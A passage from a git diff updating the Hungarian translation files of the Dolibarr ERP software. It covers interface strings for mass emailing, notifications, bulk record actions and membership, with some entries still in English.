+AddIntoSpipConfirmation=Biztosan felveszi ezt a tagot a SPIP-be? +AddIntoSpipError=Nem sikerült hozzáadni a felhasználót a SPIP-hez +DeleteIntoSpip=Eltávolítás a SPIP-ből +DeleteIntoSpipConfirmation=Biztosan eltávolítja ezt a tagot a SPIP-ből? +DeleteIntoSpipError=Nem sikerült letiltani a felhasználót a SPIP-ről +SPIPConnectionFailed=Nem sikerült csatlakozni a SPIP-hez +SuccessToAddToMailmanList=%s sikeresen hozzáadva a %s levelezőlistához vagy a SPIP adatbázishoz +SuccessToRemoveToMailmanList=%s sikeresen eltávolítva a %s levelezőlistából vagy a SPIP adatbázisból diff --git a/htdocs/langs/hu_HU/mails.lang b/htdocs/langs/hu_HU/mails.lang index 1a52ca87821..aa83eaa5704 100644 --- a/htdocs/langs/hu_HU/mails.lang +++ b/htdocs/langs/hu_HU/mails.lang @@ -1,180 +1,182 @@ # Dolibarr language file - Source file is en_US - mails Mailing=Levelezés -EMailing=eLevelezés -EMailings=eLevelezések -AllEMailings=Minden eLevelezés -MailCard=eLevelezés kártya +EMailing=E-mailezés +EMailings=E-mailek +AllEMailings=Minden e-mail +MailCard=E-mail kártya MailRecipients=Címzettek MailRecipient=Címzett MailTitle=Leírás -MailFrom=Küldő -MailErrorsTo=Hiba küldése ide +MailFrom=Feladó +MailErrorsTo=Hibák küldése ide MailReply=Válasz cím -MailTo=Fogadó(k) -MailToUsers=To user(s) -MailCC=Másolat ide -MailToCCUsers=Copy to users(s) -MailCCC=Eltárol másolat ide -MailTopic=Email subject +MailTo=Címzett +MailToUsers=Felhasználó(k)nak +MailCC=Másolás ide +MailToCCUsers=Másolás felhasználó(k)hoz +MailCCC=Gyorsítótárazott másolat ide +MailTopic=E-mail tárgya MailText=Üzenet MailFile=Csatolt fájlok -MailMessage=Email tartalma -SubjectNotIn=Not in Subject -BodyNotIn=Not in Body -ShowEMailing=eLevelezés mutatása -ListOfEMailings=eLevelezések mutatása -NewMailing=Új eLevelezés -EditMailing=eLevelezés szerkesztése -ResetMailing=eLevelezés újraküldése -DeleteMailing=eLevelezés törlése -DeleteAMailing=eLevél törlése -PreviewMailing=eLevelezés előnézete -CreateMailing=eLevelezés létrehozása -TestMailing=Teszt eMail -ValidMailing=Hiteles eLevelezés +MailMessage=E-mail törzse +SubjectNotIn=Nincs a tárgyban +BodyNotIn=Nincs a testben +ShowEMailing=E-mailek megjelenítése +ListOfEMailings=E-mailek listája +NewMailing=Új e-mail +EditMailing=E-mail szerkesztése +ResetMailing=E-mail újraküldése +DeleteMailing=E-mailezés törlése +DeleteAMailing=E-mail törlése +PreviewMailing=E-mailezés előnézete +CreateMailing=E-mail létrehozása +TestMailing=Teszt e-mail +ValidMailing=Érvényes e-mail MailingStatusDraft=Piszkozat -MailingStatusValidated=Hitelesítve +MailingStatusValidated=Érvényesített MailingStatusSent=Elküldve -MailingStatusSentPartialy=Elküldött részben -MailingStatusSentCompletely=Mindenkinek elküldve +MailingStatusSentPartialy=Részben elküldve +MailingStatusSentCompletely=Teljesen elküldve MailingStatusError=Hiba MailingStatusNotSent=Nincs elküldve -MailSuccessfulySent=Email (from %s to %s) successfully accepted for delivery -MailingSuccessfullyValidated=EMailing successfully validated -MailUnsubcribe=Unsubscribe -MailingStatusNotContact=Don't contact anymore -MailingStatusReadAndUnsubscribe=Read and unsubscribe -ErrorMailRecipientIsEmpty=eMail címzett üres -WarningNoEMailsAdded=Nincs új a címzettek listájához adható eMail. -ConfirmValidMailing=Are you sure you want to validate this emailing? -ConfirmResetMailing=Warning, by re-initializing emailing %s, you will allow the re-sending this email in a bulk mailing. Are you sure you want to do this? -ConfirmDeleteMailing=Are you sure you want to delete this emailing? -NbOfUniqueEMails=No. of unique emails -NbOfEMails=No. of EMails -TotalNbOfDistinctRecipients=Megkülönböztethető címzettek száma -NoTargetYet=Nincs címzett megadva ('Címzettek fül') -NoRecipientEmail=No recipient email for %s +MailSuccessfulySent=E-mail (%s-tól %s-ig) sikeresen elfogadva kézbesítésre +MailingSuccessfullyValidated=Az e-mailezés sikeresen érvényesítve +MailUnsubcribe=Leiratkozás +MailingStatusNotContact=Ne lépjen kapcsolatba többé +MailingStatusReadAndUnsubscribe=Olvasás és leiratkozás +ErrorMailRecipientIsEmpty=Az e-mail címzettje üres +WarningNoEMailsAdded=Nincs új e-mail a címzettek listájához. +ConfirmValidMailing=Biztosan érvényesíteni szeretné ezt az e-mailt? +ConfirmResetMailing=Figyelem! A(z) %s e-mail újraindításával engedélyezi ennek az e-mailnek a tömeges levélben történő újraküldését. Biztosan ezt akarod csinálni? +ConfirmDeleteMailing=Biztosan törölni szeretné ezt az e-mailt? +NbOfUniqueEMails=Egyedi e-mailek száma +NbOfEMails=E-mailek száma +TotalNbOfDistinctRecipients=Elkülönülő címzettek száma +NoTargetYet=Még nincsenek megadva címzettek (Ugrás a "Címzettek" lapra) +NoRecipientEmail=Nincs címzett e-mail a következőhöz: %s RemoveRecipient=Címzett eltávolítása -YouCanAddYourOwnPredefindedListHere=To create your email selector module, see htdocs/core/modules/mailings/README. -EMailTestSubstitutionReplacedByGenericValues=When using test mode, substitutions variables are replaced by generic values +YouCanAddYourOwnPredefindedListHere=Az e-mail-választó modul létrehozásához lásd: htdocs/core/modules/mailings/README. +EMailTestSubstitutionReplacedByGenericValues=Tesztmód használatakor a helyettesítési változókat általános értékekkel helyettesítik MailingAddFile=A fájl csatolása -NoAttachedFiles=Nem csatolt fájlok -BadEMail=Bad value for Email -EMailNotDefined=Email not defined -ConfirmCloneEMailing=Are you sure you want to clone this emailing? -CloneContent=Clone üzenet -CloneReceivers=Cloner címzettek -DateLastSend=Date of latest sending -DateSending=Dátum küldése -SentTo=Küldött %s -MailingStatusRead=Olvas -YourMailUnsubcribeOK=The email %s is correctly unsubscribe from mailing list -ActivateCheckReadKey=Key used to encrypt URL used for "Read Receipt" and "Unsubscribe" feature -EMailSentToNRecipients=Email sent to %s recipients. -EMailSentForNElements=Email sent for %s elements. -XTargetsAdded=%s recipients added into target list -OnlyPDFattachmentSupported=If the PDF documents were already generated for the objects to send, they will be attached to email. If not, no email will be sent (also, note that only pdf documents are supported as attachments in mass sending in this version). -AllRecipientSelected=The recipients of the %s record selected (if their email is known). -GroupEmails=Group emails -OneEmailPerRecipient=One email per recipient (by default, one email per record selected) -WarningIfYouCheckOneRecipientPerEmail=Warning, if you check this box, it means only one email will be sent for several different record selected, so, if your message contains substitution variables that refers to data of a record, it becomes not possible to replace them. -ResultOfMailSending=Result of mass Email sending -NbSelected=Number selected -NbIgnored=Number ignored -NbSent=Number sent -SentXXXmessages=%s message(s) sent. -ConfirmUnvalidateEmailing=Are you sure you want to change email %s to draft status? -MailingModuleDescContactsWithThirdpartyFilter=Contact with customer filters -MailingModuleDescContactsByCompanyCategory=Contacts by third-party category -MailingModuleDescContactsByCategory=Contacts by categories -MailingModuleDescContactsByFunction=Contacts by position -MailingModuleDescEmailsFromFile=Emails from file -MailingModuleDescEmailsFromUser=Emails input by user -MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) -SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. -EmailCollectorFilterDesc=All filters must match to have an email being collected +NoAttachedFiles=Nincsenek csatolt fájlok +BadEMail=Rossz az e-mail érték +EMailNotDefined=E-mail nincs megadva +ConfirmCloneEMailing=Biztosan klónozni szeretné ezt az e-mailt? +CloneContent=Üzenet klónozása +CloneReceivers=Cloner címzettjei +DateLastSend=A legutóbbi küldés dátuma +DateSending=Küldés dátuma +SentTo=Elküldve a következőnek: %s +MailingStatusRead=Olvasás +YourMailUnsubcribeOK=A(z) %s e-mail helyesen leiratkozott a levelezőlistáról +ActivateCheckReadKey=Az "Elolvasott nyugta" és a "Leiratkozás" funkcióhoz használt URL titkosítására használt kulcs +EMailSentToNRecipients=E-mail elküldve %s címzettnek. +EMailSentForNElements=E-mail elküldve a %s elemhez. +XTargetsAdded=%s címzett hozzáadva a céllistához +OnlyPDFattachmentSupported=Ha a PDF dokumentumokat már létrehozták az elküldendő objektumokhoz, akkor az e-mailhez csatolva lesznek. Ha nem, a rendszer nem küld e-mailt (azt is vegye figyelembe, hogy ebben a verzióban csak a pdf-dokumentumok támogatottak mellékletként a tömeges küldés során). +AllRecipientSelected=A kiválasztott %s rekord címzettjei (ha ismert az e-mail címük). +GroupEmails=Csoportos e-mailek +OneEmailPerRecipient=Címzettenként egy e-mail (alapértelmezés szerint rekordonként egy e-mail van kiválasztva) +WarningIfYouCheckOneRecipientPerEmail=Figyelem, ha bejelöli ezt a jelölőnégyzetet, az azt jelenti, hogy több különböző kiválasztott rekordhoz csak egy e-mailt küldünk, így ha az üzenet egy rekord adataira hivatkozó helyettesítő változókat tartalmaz, akkor ezek cseréje nem lehetséges. +ResultOfMailSending=Tömeges e-mail küldés eredménye +NbSelected=Kiválasztott szám +NbIgnored=A szám figyelmen kívül hagyva +NbSent=Elküldött szám +SentXXXmessages=%s üzenet elküldve. +ConfirmUnvalidateEmailing=Biztosan módosítani szeretné a(z) %s e-mailt piszkozat állapotra? +MailingModuleDescContactsWithThirdpartyFilter=Kapcsolatfelvétel az ügyfélszűrőkkel +MailingModuleDescContactsByCompanyCategory=Kapcsolatfelvételek harmadik fél kategóriája szerint +MailingModuleDescContactsByCategory=Kategóriák szerinti névjegyek +MailingModuleDescContactsByFunction=Kapcsolattartók pozíció szerint +MailingModuleDescEmailsFromFile=E-mailek fájlból +MailingModuleDescEmailsFromUser=E-mailek a felhasználó által +MailingModuleDescDolibarrUsers=E-mailekkel rendelkező felhasználók +MailingModuleDescThirdPartiesByCategories=Harmadik felek +SendingFromWebInterfaceIsNotAllowed=A webes felületről történő küldés nem megengedett. +EmailCollectorFilterDesc=Minden szűrőnek meg kell egyeznie ahhoz, hogy e-mailt gyűjtsön # Libelle des modules de liste de destinataires mailing -LineInFile=Vonal %s fájlban -RecipientSelectionModules=Meghatározott kérelmek címzett kiválasztása +LineInFile=%s sor a fájlban +RecipientSelectionModules=Meghatározott kérések a címzett kiválasztásához MailSelectedRecipients=Kiválasztott címzettek -MailingArea=EMailings terület -LastMailings=Latest %s emailings -TargetsStatistics=Célok statisztikák -NbOfCompaniesContacts=Egyedi kapcsolatok a vállalatok -MailNoChangePossible=A címzettek validált emailing nem lehet megváltoztatni -SearchAMailing=Keresés levelezési -SendMailing=Küldés e-mailezés -SentBy=Által küldött -MailingNeedCommand=Sending an emailing can be performed from command line. Ask your server administrator to launch the following command to send the emailing to all recipients: -MailingNeedCommand2=Ön azonban elküldheti őket az interneten hozzáadásával paraméter MAILING_LIMIT_SENDBYWEB az értéke max e-mailek száma szeretne küldeni a session. Ehhez menj a Home - telepítés - Más. -ConfirmSendingEmailing=If you want to send emailing directly from this screen, please confirm you are sure you want to send emailing now from your browser ? -LimitSendingEmailing=Note: Sending of emailings from web interface is done in several times for security and timeout reasons, %s recipients at a time for each sending session. +MailingArea=Levelezési terület +LastMailings=A legújabb %s e-mail +TargetsStatistics=Cél statisztikák +NbOfCompaniesContacts=Egyedi névjegyek/címek +MailNoChangePossible=Az ellenőrzött e-mail címzettjei nem módosíthatók +SearchAMailing=Levelezés keresése +SendMailing=E-mail küldése +SentBy=Küldő +MailingNeedCommand=E-mail küldése parancssorból is végrehajtható. Kérje meg a kiszolgáló rendszergazdáját, hogy indítsa el a következő parancsot, hogy az e-mailt minden címzettnek elküldje: +MailingNeedCommand2=Elküldheti azonban online, ha hozzáadja a MAILING_LIMIT_SENDBYWEB paramétert a munkamenetenként elküldeni kívánt e-mailek maximális számával. Ehhez lépjen a Kezdőlap - Beállítás - Egyéb menüpontra. +ConfirmSendingEmailing=Ha közvetlenül erről a képernyőről szeretne e-mailt küldeni, kérjük, erősítse meg, hogy biztosan szeretne e-mailt küldeni most a böngészőből? +LimitSendingEmailing=Megjegyzés: Az e-mailek webes felületről történő küldése biztonsági és időtúllépési okokból több alkalommal történik, %s címzett egyszerre minden küldési munkamenethez. TargetsReset=Lista törlése -ToClearAllRecipientsClickHere=Kattintson ide, hogy törölje a címzettek listáját erre a levelezés -ToAddRecipientsChooseHere=Add címzettek közül választhatja ki a listák -NbOfEMailingsReceived=Mass emailings kapott -NbOfEMailingsSend=Mass emailings sent +ToClearAllRecipientsClickHere=Kattintson ide az e-mail címzettlistájának törléséhez +ToAddRecipientsChooseHere=Címzettek hozzáadása a listák közül való kiválasztásával +NbOfEMailingsReceived=Tömeges e-mailek érkeztek +NbOfEMailingsSend=Tömeges e-mailek elküldve IdRecord=Azonosító rekord -DeliveryReceipt=Delivery Ack. -YouCanUseCommaSeparatorForSeveralRecipients=Használhatja a vessző megadásához több címzettnek. -TagCheckMail=Track mail opening -TagUnsubscribe=Unsubscribe link -TagSignature=Signature of sending user -EMailRecipient=Recipient Email -TagMailtoEmail=Recipient Email (including html "mailto:" link) -NoEmailSentBadSenderOrRecipientEmail=No email sent. Bad sender or recipient email. Verify user profile. +DeliveryReceipt=Szállítási visszaigazolás. +YouCanUseCommaSeparatorForSeveralRecipients=A vessző elválasztó használatával több címzett is megadható. +TagCheckMail=Levelek megnyitásának nyomon követése +TagUnsubscribe=Leiratkozás link +TagSignature=A küldő felhasználó aláírása +EMailRecipient=Címzett e-mail +TagMailtoEmail=Címzett e-mail (beleértve a html "mailto:" linket) +NoEmailSentBadSenderOrRecipientEmail=Nem küldtek e-mailt. Rossz a feladó vagy a címzett e-mail-címe. Felhasználói profil ellenőrzése. # Module Notifications Notifications=Értesítések -NotificationsAuto=Notifications Auto. -NoNotificationsWillBeSent=No automatic email notifications are planned for this event type and company -ANotificationsWillBeSent=1 automatic notification will be sent by email -SomeNotificationsWillBeSent=%s automatic notifications will be sent by email -AddNewNotification=Subscribe to a new automatic email notification (target/event) -ListOfActiveNotifications=List of all active subscriptions (targets/events) for automatic email notification -ListOfNotificationsDone=List of all automatic email notifications sent -MailSendSetupIs=Configuration of email sending has been setup to '%s'. This mode can't be used to send mass emailing. -MailSendSetupIs2=You must first go, with an admin account, into menu %sHome - Setup - EMails%s to change parameter '%s' to use mode '%s'. With this mode, you can enter setup of the SMTP server provided by your Internet Service Provider and use Mass emailing feature. -MailSendSetupIs3=If you have any questions on how to setup your SMTP server, you can ask to %s. -YouCanAlsoUseSupervisorKeyword=You can also add the keyword __SUPERVISOREMAIL__ to have email being sent to the supervisor of user (works only if an email is defined for this supervisor) -NbOfTargetedContacts=Current number of targeted contact emails -UseFormatFileEmailToTarget=Imported file must have format email;name;firstname;other -UseFormatInputEmailToTarget=Enter a string with format email;name;firstname;other -MailAdvTargetRecipients=Recipients (advanced selection) -AdvTgtTitle=Fill input fields to preselect the third parties or contacts/addresses to target -AdvTgtSearchTextHelp=Use %% as wildcards. For example to find all item like jean, joe, jim, you can input j%%, you can also use ; as separator for value, and use ! for except this value. For example jean;joe;jim%%;!jimo;!jima%% will target all jean, joe, start with jim but not jimo and not everything that starts with jima -AdvTgtSearchIntHelp=Use interval to select int or float value -AdvTgtMinVal=Minimum value -AdvTgtMaxVal=Maximum value -AdvTgtSearchDtHelp=Use interval to select date value -AdvTgtStartDt=Start dt. -AdvTgtEndDt=End dt. -AdvTgtTypeOfIncudeHelp=Target Email of third party and email of contact of the third party, or just third-party email or just contact email -AdvTgtTypeOfIncude=Type of targeted email -AdvTgtContactHelp=Use only if you target contact into "Type of targeted email" -AddAll=Add all -RemoveAll=Remove all -ItemsCount=Item(s) -AdvTgtNameTemplate=Filter name -AdvTgtAddContact=Add emails according to criteria -AdvTgtLoadFilter=Load filter -AdvTgtDeleteFilter=Delete filter -AdvTgtSaveFilter=Save filter -AdvTgtCreateFilter=Create filter -AdvTgtOrCreateNewFilter=Name of new filter -NoContactWithCategoryFound=No category found linked to some contacts/addresses -NoContactLinkedToThirdpartieWithCategoryFound=No category found linked to some thirdparties -OutGoingEmailSetup=Outgoing emails -InGoingEmailSetup=Incoming emails -OutGoingEmailSetupForEmailing=Outgoing emails (for module %s) -DefaultOutgoingEmailSetup=Same configuration than the global Outgoing email setup +NotificationsAuto=Automatikus értesítések. +NoNotificationsWillBeSent=Nem tervezünk automatikus e-mail értesítést ehhez az eseménytípushoz és vállalathoz +ANotificationsWillBeSent=1 automatikus értesítést küldünk e-mailben +SomeNotificationsWillBeSent=%s automatikus értesítést küld e-mailben +AddNewNotification=Feliratkozás egy új automatikus e-mail értesítésre (cél/esemény) +ListOfActiveNotifications=Az összes aktív előfizetés listája (célok/események) az automatikus e-mail értesítéshez +ListOfNotificationsDone=Az összes elküldött automatikus e-mail értesítés listája +MailSendSetupIs=Az e-mail küldés beállítása '%s'. Ez a mód nem használható tömeges e-mailek küldésére. +MailSendSetupIs2=Először adminisztrátori fiókkal be kell lépnie a %sHome - Beállítás - E-mailek%s menübe, hogy módosítsa a '%s' paramétert a '%s' mód használatához. Ezzel a móddal beléphet az internetszolgáltató által biztosított SMTP-kiszolgáló beállításába, és használhatja a tömeges e-mail funkciót. +MailSendSetupIs3=Ha bármilyen kérdése van az SMTP-szerver beállításával kapcsolatban, felteheti %s-nak. +YouCanAlsoUseSupervisorKeyword=Hozzáadhatja a __SUPERVISOREMAIL__ kulcsszót is, hogy e-mailt küldjön a felhasználó felügyelőjének (csak akkor működik, ha e-mail-cím van megadva ehhez a felügyelőhöz) +NbOfTargetedContacts=A megcélzott kapcsolatfelvételi e-mailek jelenlegi száma +UseFormatFileEmailToTarget=Az importált fájl formátuma email;name;firstname;other +UseFormatInputEmailToTarget=Írjon be egy karakterláncot email;name;firstname;other formátumban +MailAdvTargetRecipients=Címzettek (speciális kiválasztás) +AdvTgtTitle=Töltse ki a beviteli mezőket a célzott harmadik felek vagy elérhetőségek/címek előre kiválasztásához +AdvTgtSearchTextHelp=A %% használata helyettesítő karakterként. Például az összes olyan elem megkereséséhez, mint a jean, joe, jim, beírhatja a következőt: j%%, és használhatja a ; érték elválasztóként, és használja a ! kivéve ezt az értéket. Például a jean;joe;jim%%;!jimo;!jima%% minden jean-t, joe-t megcéloz, jim-mel kezdődik, de nem jimo-t, és nem mindent, ami jimával kezdődik. +AdvTgtSearchIntHelp=Használja az intervallumot az int vagy float érték kiválasztásához +AdvTgtMinVal=Minimális érték +AdvTgtMaxVal=Maximális érték +AdvTgtSearchDtHelp=Használja az intervallumot a dátum értékének kiválasztásához +AdvTgtStartDt=Kezdő dátum +AdvTgtEndDt=Vége dátum +AdvTgtTypeOfIncudeHelp=Harmadik fél cél e-mail-címe és a harmadik fél kapcsolatfelvételi e-mail-címe, vagy csak harmadik fél e-mail-címe vagy csak kapcsolattartási e-mail +AdvTgtTypeOfIncude=Célzott e-mail típusa +AdvTgtContactHelp=Csak akkor használja, ha a kapcsolattartót a "Célzott e-mail típusa"-ba célozza meg. +AddAll=Összes hozzáadása +RemoveAll=Összes eltávolítása +ItemsCount=Tétel(ek) +AdvTgtNameTemplate=Szűrő neve +AdvTgtAddContact=E-mailek hozzáadása a feltételeknek megfelelően +AdvTgtLoadFilter=Szűrő betöltése +AdvTgtDeleteFilter=Szűrő törlése +AdvTgtSaveFilter=Szűrő mentése +AdvTgtCreateFilter=Szűrő létrehozása +AdvTgtOrCreateNewFilter=Az új szűrő neve +NoContactWithCategoryFound=Nem található néhány névjegyhez/címhez kapcsolódó kategória +NoContactLinkedToThirdpartieWithCategoryFound=Nem található néhány harmadik félhez kapcsolódó kategória +OutGoingEmailSetup=Kimenő e-mailek +InGoingEmailSetup=Bejövő e-mailek +OutGoingEmailSetupForEmailing=Kimenő e-mailek (a %s modulhoz) +DefaultOutgoingEmailSetup=Ugyanaz a konfiguráció, mint a globális kimenő e-mail beállítás Information=Információ -ContactsWithThirdpartyFilter=Contacts with third-party filter -Unanswered=Unanswered +ContactsWithThirdpartyFilter=Névjegyek harmadik féltől származó szűrővel +Unanswered=Nem válaszolt Answered=Válaszolt -IsNotAnAnswer=Is not answer (initial email) -IsAnAnswer=Is an answer of an initial email -RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s -DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact -DefaultStatusEmptyMandatory=Empty but mandatory +IsNotAnAnswer=Nem válaszol (kezdeti e-mail) +IsAnAnswer=Válasz egy kezdeti e-mailre +RecordCreatedByEmailCollector=A(z) %s e-mail gyűjtő által létrehozott rekord a(z) %s e-mailből +DefaultBlacklistMailingStatus=A '%s' mező alapértelmezett értéke új névjegy létrehozásakor +DefaultStatusEmptyMandatory=Üres, de kötelező +WarningLimitSendByDay=FIGYELMEZTETÉS: A példány beállítása vagy szerződése a napi e-mailek számát %s értékre korlátozza. Ha többet próbál küldeni, előfordulhat, hogy a példány lelassul vagy felfüggeszthető. Ha magasabb kvótára van szüksége, forduljon ügyfélszolgálatához. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/hu_HU/main.lang b/htdocs/langs/hu_HU/main.lang index 0184ec8d184..79b246a6076 100644 --- a/htdocs/langs/hu_HU/main.lang +++ b/htdocs/langs/hu_HU/main.lang @@ -34,6 +34,7 @@ NoTemplateDefined=Nem érhető el sablon ehhez az e-mail típushoz AvailableVariables=Elérhető helyettesítő változók NoTranslation=Nincs fordítás Translation=Fordítás +Translations=Translations CurrentTimeZone=TimeZone PHP (szerver) EmptySearchString=Adjon meg nem üres keresési feltételeket EnterADateCriteria=Adja meg a dátum kritériumát @@ -205,6 +206,7 @@ Valid=Hiteles Approve=Jóváhagy Disapprove=Elutasítás ReOpen=Újranyitás +OpenVerb=Nyitva Upload=Feltöltés ToLink=Link Select=Kiválaszt @@ -222,8 +224,9 @@ UserGroup=Felhasználói csoport UserGroups=Felhasználói csoportok NoUserGroupDefined=Nincs felhasználói csoport meghatározva Password=Jelszó -PasswordRetype=Adja meg újra a jelszavát +PasswordRetype=Ismételje meg a jelszavát NoteSomeFeaturesAreDisabled=Megjegyzés: rengeteg modul/eszköz ki van kapcsolva ebben a demóban. +YourUserFile=Your user file Name=Név NameSlashCompany=Név / Cég Person=Személy @@ -487,6 +490,7 @@ ActionsOnContact=Események ehhez a kapcsolattartóhoz/címhez ActionsOnContract=Események ehhez a szerződéshez ActionsOnMember=Események ezzel a taggal kapcsolatban ActionsOnProduct=Események ezzel a termékkel kapcsolatban +ActionsOnAsset=Events for this fixed asset NActionsLate=%s késés ToDo=Teendő Completed=Befejezve @@ -808,6 +812,7 @@ URLPhoto=Url fotó / logo SetLinkToAnotherThirdParty=Link egy másik harmadik fél LinkTo=Hivatkozás erre: LinkToProposal=Link az ajánlathoz +LinkToExpedition= Link az expedícióhoz LinkToOrder=Link a rendeléshez LinkToInvoice=Link a számlához LinkToTemplateInvoice=Hivatkozás a sablonszámlához @@ -893,6 +898,9 @@ MassFilesArea=Tömeges műveletek által létrehozott fájlok területe ShowTempMassFilesArea=A tömeges műveletek által létrehozott fájlok területének megjelenítése ConfirmMassDeletion=Tömeges törlés megerősítése ConfirmMassDeletionQuestion=Biztosan törölni szeretné a %s kiválasztott rekordo(ka)t? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Kapcsolódó objektumok ClassifyBilled=Minősítse kiszámlázottként ClassifyUnbilled=Számlázatlan osztályozás @@ -908,8 +916,8 @@ ExportFilteredList=Szűrt lista exportálása ExportList=Lista exportálása ExportOptions=Exportálási beállítások IncludeDocsAlreadyExported=A már exportált dokumentumokat tartalmazza -ExportOfPiecesAlreadyExportedIsEnable=A már exportált darabok exportálása engedélyezett -ExportOfPiecesAlreadyExportedIsDisable=A már exportált darabok exportálása le van tiltva +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Minden exportált mozgás exportáltként lett rögzítve NotAllExportedMovementsCouldBeRecordedAsExported=Nem minden exportált mozgás rögzíthető exportáltként Miscellaneous=Vegyes @@ -926,6 +934,7 @@ DirectDownloadInternalLink=Privát letöltési link PrivateDownloadLinkDesc=Be kell jelentkeznie, és engedélyekre van szüksége a fájl megtekintéséhez vagy letöltéséhez Download=Letöltés DownloadDocument=Dokumentum letöltése +DownloadSignedDocument=Download signed document ActualizeCurrency=Árfolyam frissítése Fiscalyear=Pénzügyi év ModuleBuilder=Modul- és alkalmazáskészítő @@ -1051,6 +1060,7 @@ SearchIntoContracts=Szerződések SearchIntoCustomerShipments=Vásárlói kiszállítások SearchIntoExpenseReports=Költség kimutatások SearchIntoLeaves=Hagyd el +SearchIntoKM=Tudásbázis SearchIntoTickets=Jegyek SearchIntoCustomerPayments=Vásárlói fizetések SearchIntoVendorPayments=Szállítói fizetések @@ -1122,6 +1132,7 @@ DeleteFileText=Valóban törölni szeretné ezt a fájlt? ShowOtherLanguages=Más nyelvek megjelenítése SwitchInEditModeToAddTranslation=Váltson szerkesztési módba fordítások hozzáadásához ehhez a nyelvhez NotUsedForThisCustomer=Nem használt ennél az ügyfélnél +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Az összegnek pozitívnak kell lennie ByStatus=Állapot szerint InformationMessage=Információ @@ -1142,15 +1153,29 @@ EventReminder=Esemény emlékeztető UpdateForAllLines=Frissítés minden vonalhoz OnHold=Tart Civility=Udvariasság -AffectTag=Címke hozzárendelése +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Külső felhasználó létrehozása -ConfirmAffectTag=Tömeges címke hatással -ConfirmAffectTagQuestion=Biztosan befolyásolni szeretné a(z) %s kiválasztott rekord(ok) címkéit? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Nem található címketípus a rekordtípusokhoz +Rate=Arány +SupervisorNotFound=Supervisor not found CopiedToClipboard=Vágólapra másolva InformationOnLinkToContract=Ez az összeg csak a szerződés összes sorának összege. Az idő fogalmát nem veszik figyelembe. ConfirmCancel=Biztosan meg akarja szakítani EmailMsgID=E-mail üzenetazonosító +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Engedélyezve SetToDisabled=Letiltva ConfirmMassEnabling=tömegengedélyezés megerősítése @@ -1179,11 +1204,21 @@ Terminated=Kilépett AddLineOnPosition=Sor hozzáadása a pozícióhoz (a végén, ha üres) ConfirmAllocateCommercial=Az értékesítési képviselő megerősítésének hozzárendelése ConfirmAllocateCommercialQuestion=Biztosan hozzá szeretné rendelni az %s kiválasztott rekordo(ka)t? -CommercialsAffected=Az értékesítési képviselők érintettek -CommercialAffected=Az értékesítési képviselő érintett +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Az üzeneted YourMessageHasBeenReceived=Üzenete megérkezett. A lehető leghamarabb válaszolunk vagy felvesszük Önnel a kapcsolatot. UrlToCheck=Az ellenőrizendő URL Automation=Automatizálás -CreatedByEmailCollector=Created by Email collector -CreatedByPublicPortal=Created from Public portal +CreatedByEmailCollector=Készítette: Email gyűjtő +CreatedByPublicPortal=Nyilvános portálról készült +UserAgent=Felhasználói ügynök +InternalUser=Belső felahsználó +ExternalUser=Külső felhasználó +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/hu_HU/members.lang b/htdocs/langs/hu_HU/members.lang index b3b0abda26f..f7aab8332b0 100644 --- a/htdocs/langs/hu_HU/members.lang +++ b/htdocs/langs/hu_HU/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Egy másik tag (név: %s, beje ErrorUserPermissionAllowsToLinksToItselfOnly=Biztonsági okokból engedélyt kell kapnia az összes felhasználó szerkesztéséhez, hogy egy tagot olyan felhasználóhoz tudjon kapcsolni, aki nem az Öné. SetLinkToUser=Link egy Dolibarr felhasználóhoz SetLinkToThirdParty=Hivatkozás egy Dolibarr harmadik félhez +MemberCountersArePublic=Counters of valid members are public MembersCards=Kártyák generálása a tagok számára MembersList=Tagok listája MembersListToValid=Vázlattagok listája (érvényesítésre vár) @@ -34,7 +35,8 @@ DateSubscription=Tagság dátuma DateEndSubscription=A tagság befejezésének dátuma EndSubscription=A tagság vége SubscriptionId=Hozzájárulás azonosítója -WithoutSubscription=Hozzájárulás nélkül +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Tag-azonosító MemberRef=Tag Ref NewMember=Új tag @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=A tagtípus nem törölhető NewSubscription=Új hozzájárulás NewSubscriptionDesc=Ez az űrlap lehetővé teszi, hogy az alapítvány új tagjaként rögzítse előfizetését. Ha meg szeretné újítani előfizetését (ha már tag), kérjük, vegye fel a kapcsolatot az alapítványi kuratóriummal e-mailben %s. Subscription=Hozzájárulás +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your 